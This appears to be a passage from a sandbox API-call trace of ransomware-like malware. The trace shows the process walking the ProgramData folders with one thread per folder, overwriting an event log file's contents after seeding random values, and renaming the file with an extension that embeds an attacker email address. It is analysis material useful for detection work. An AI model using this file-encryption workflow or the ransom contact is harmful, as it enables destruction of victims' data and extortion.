	[0073.956] wcscat (in: _Dest=0x2d73300, _Source="Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft"
	[0073.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc
	[0073.956] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1
	[0073.956] wcscmp (_String1="Microsoft OneDrive", _String2=".") returned 1
	[0073.956] wcscmp (_String1="Microsoft OneDrive", _String2="..") returned 1
	[0073.956] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85868
	[0073.957] wcscpy (in: _Dest=0x2d85868, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.957] wcscat (in: _Dest=0x2d85868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.957] wcscat (in: _Dest=0x2d85868, _Source="Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive"
	[0073.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0
	[0073.957] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0073.957] wcscmp (_String1="Oracle", _String2=".") returned 1
	[0073.957] wcscmp (_String1="Oracle", _String2="..") returned 1
	[0073.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70ac0
	[0073.957] wcscpy (in: _Dest=0x2d70ac0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.957] wcscat (in: _Dest=0x2d70ac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.958] wcscat (in: _Dest=0x2d70ac0, _Source="Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle"
	[0073.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4
	[0073.958] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0073.958] wcscmp (_String1="Package Cache", _String2=".") returned 1
	[0073.958] wcscmp (_String1="Package Cache", _String2="..") returned 1
	[0073.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2d8b120
	[0073.958] wcscpy (in: _Dest=0x2d8b120, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.958] wcscat (in: _Dest=0x2d8b120, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.958] wcscat (in: _Dest=0x2d8b120, _Source="Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0073.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8b120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8
	[0073.959] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1
	[0073.959] wcscmp (_String1="regid.1991-06.com.microsoft", _String2=".") returned 1
	[0073.959] wcscmp (_String1="regid.1991-06.com.microsoft", _String2="..") returned 1
	[0073.959] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733b40
	[0073.959] wcscpy (in: _Dest=0x4733b40, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.959] wcscat (in: _Dest=0x4733b40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.959] wcscat (in: _Dest=0x4733b40, _Source="regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft"
	[0073.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec
	[0073.960] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1
	[0073.960] wcscmp (_String1="SoftwareDistribution", _String2=".") returned 1
	[0073.960] wcscmp (_String1="SoftwareDistribution", _String2="..") returned 1
	[0073.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d857b8
	[0073.960] wcscpy (in: _Dest=0x2d857b8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.960] wcscat (in: _Dest=0x2d857b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.960] wcscat (in: _Dest=0x2d857b8, _Source="SoftwareDistribution" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution") returned="C:\\Users\\All Users\\SoftwareDistribution"
	[0073.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d857b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0
	[0073.961] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0073.961] wcscmp (_String1="Start Menu", _String2=".") returned 1
	[0073.961] wcscmp (_String1="Start Menu", _String2="..") returned 1
	[0073.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73930
	[0073.961] wcscpy (in: _Dest=0x2d73930, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.961] wcscat (in: _Dest=0x2d73930, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.961] wcscat (in: _Dest=0x2d73930, _Source="Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu"
	[0073.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4
	[0073.961] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0073.961] wcscmp (_String1="Templates", _String2=".") returned 1
	[0073.962] wcscmp (_String1="Templates", _String2="..") returned 1
	[0073.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73d68
	[0073.962] wcscpy (in: _Dest=0x2d73d68, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.962] wcscat (in: _Dest=0x2d73d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.962] wcscat (in: _Dest=0x2d73d68, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates"
	[0073.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8
	[0073.962] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1
	[0073.962] wcscmp (_String1="USOPrivate", _String2=".") returned 1
	[0073.962] wcscmp (_String1="USOPrivate", _String2="..") returned 1
	[0073.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73df8
	[0073.962] wcscpy (in: _Dest=0x2d73df8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.962] wcscat (in: _Dest=0x2d73df8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.962] wcscat (in: _Dest=0x2d73df8, _Source="USOPrivate" | out: _Dest="C:\\Users\\All Users\\USOPrivate") returned="C:\\Users\\All Users\\USOPrivate"
	[0073.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc
	[0073.963] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1
	[0073.963] wcscmp (_String1="USOShared", _String2=".") returned 1
	[0073.963] wcscmp (_String1="USOShared", _String2="..") returned 1
	[0073.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73db0
	[0073.963] wcscpy (in: _Dest=0x2d73db0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.963] wcscat (in: _Dest=0x2d73db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.963] wcscat (in: _Dest=0x2d73db0, _Source="USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared"
	[0073.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804
	[0073.964] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1
	[0073.964] wcscmp (_String1="WindowsHolographicDevices", _String2=".") returned 1
	[0073.964] wcscmp (_String1="WindowsHolographicDevices", _String2="..") returned 1
	[0073.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733388
	[0073.964] wcscpy (in: _Dest=0x4733388, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.964] wcscat (in: _Dest=0x4733388, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.964] wcscat (in: _Dest=0x4733388, _Source="WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices"
	[0073.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808
	[0073.965] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0
	[0073.965] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ef0) returned 1
	[0073.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bd90) returned 1
	[0073.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f90) returned 1

Thread:
	id = 123
	os_tid = 0x7b0

	[0073.966] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20
	[0073.970] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx", dwFileAttributes=0x20) returned 1
	[0073.970] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7c8
	[0073.970] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x7c0fa88 | out: lpFileSize=0x7c0fa88*=69632) returned 1
	[0073.970] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.970] ReadFile (in: hFile=0x7c8, lpBuffer=0x7c0fa0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7c0fa08, lpOverlapped=0x0 | out: lpBuffer=0x7c0fa0c*, lpNumberOfBytesRead=0x7c0fa08*=0x4, lpOverlapped=0x0) returned 1
	[0073.972] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0073.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0073.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0073.972] NtQuerySystemTime (in: CurrentTime=0x7c0f9e8 | out: CurrentTime=0x7c0f9e8*=132251868007133435) returned 0x0
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x9cfc15e3
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x4abd26e3
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x5614df53
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xc2d99f4f
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x51df689c
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x33f8a01d
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xc44571cd
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x82745714
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x6a8f69e4
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x67d0636c
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x5c1e83c7
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x942d2777
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xe4915056
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xca0b1556
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x51eb4310
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xf7e6fbe1
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x4d9953b5
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xc8a8107e
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xb54f3fc4
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x315a3a4b
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x68ea5bdb
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x1be1e34f
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xfb90df95
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x3d04b23f
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x2d4a426d
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xb95433b5
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x68ac0ace
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xf05320e3
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x5ad16040
	[0073.972] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0xe76a398e
	[0073.973] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x4a12160a
	[0073.973] RtlRandom (in: Seed=0x7c0f9f4 | out: Seed=0x7c0f9f4) returned 0x5cde6e84
	[0073.981] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.981] ReadFile (in: hFile=0x7c8, lpBuffer=0x2d8b838, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7c0f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2d8b838*, lpNumberOfBytesRead=0x7c0f9c8*=0xc800, lpOverlapped=0x0) returned 1
	[0073.983] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0073.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0073.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0073.983] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0073.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x470d768
	[0073.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0073.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0073.986] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0073.987] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0073.987] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0073.987] WriteFile (in: hFile=0x7c8, lpBuffer=0x470d768*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7c0f9c8, lpOverlapped=0x0 | out: lpBuffer=0x470d768*, lpNumberOfBytesWritten=0x7c0f9c8*=0xc800, lpOverlapped=0x0) returned 1
	[0076.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470d768) returned 1
	[0076.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8b838) returned 1
	[0076.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2d) returned 0x2d7c068
	[0076.507] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.507] WriteFile (in: hFile=0x7c8, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x7c0fa48, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x7c0fa48*=0x111, lpOverlapped=0x0) returned 1
	[0076.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c228) returned 1
	[0076.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0076.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c068) returned 1
	[0076.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0076.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0076.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0076.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0076.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x2d603c8
	[0076.509] wcscpy (in: _Dest=0x2d603c8, _Source="C:\\Logs\\Application.evtx" | out: _Dest="C:\\Logs\\Application.evtx") returned="C:\\Logs\\Application.evtx"
	[0076.509] wcscat (in: _Dest=0x2d603c8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Application.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Application.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.509] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Application.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7c0fa00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Application.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0076.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0076.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35588) returned 1
	[0076.510] NtQueryInformationFile (in: FileHandle=0x7c8, IoStatusBlock=0x7c0fa0c, FileInformation=0x7c0f9e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7c0fa0c, FileInformation=0x7c0f9e4) returned 0x0
	[0076.510] NtSetInformationFile (FileHandle=0x7c8, IoStatusBlock=0x7c0fa0c, FileInformation=0x7c0f9e4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d603c8) returned 1
	[0076.511] FlushFileBuffers (hFile=0x7c8) returned 1
	[0076.516] CloseHandle (hObject=0x7c8) returned 1
	[0076.517] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d707c0
	[0076.517] wcscpy (in: _Dest=0x2d707c0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
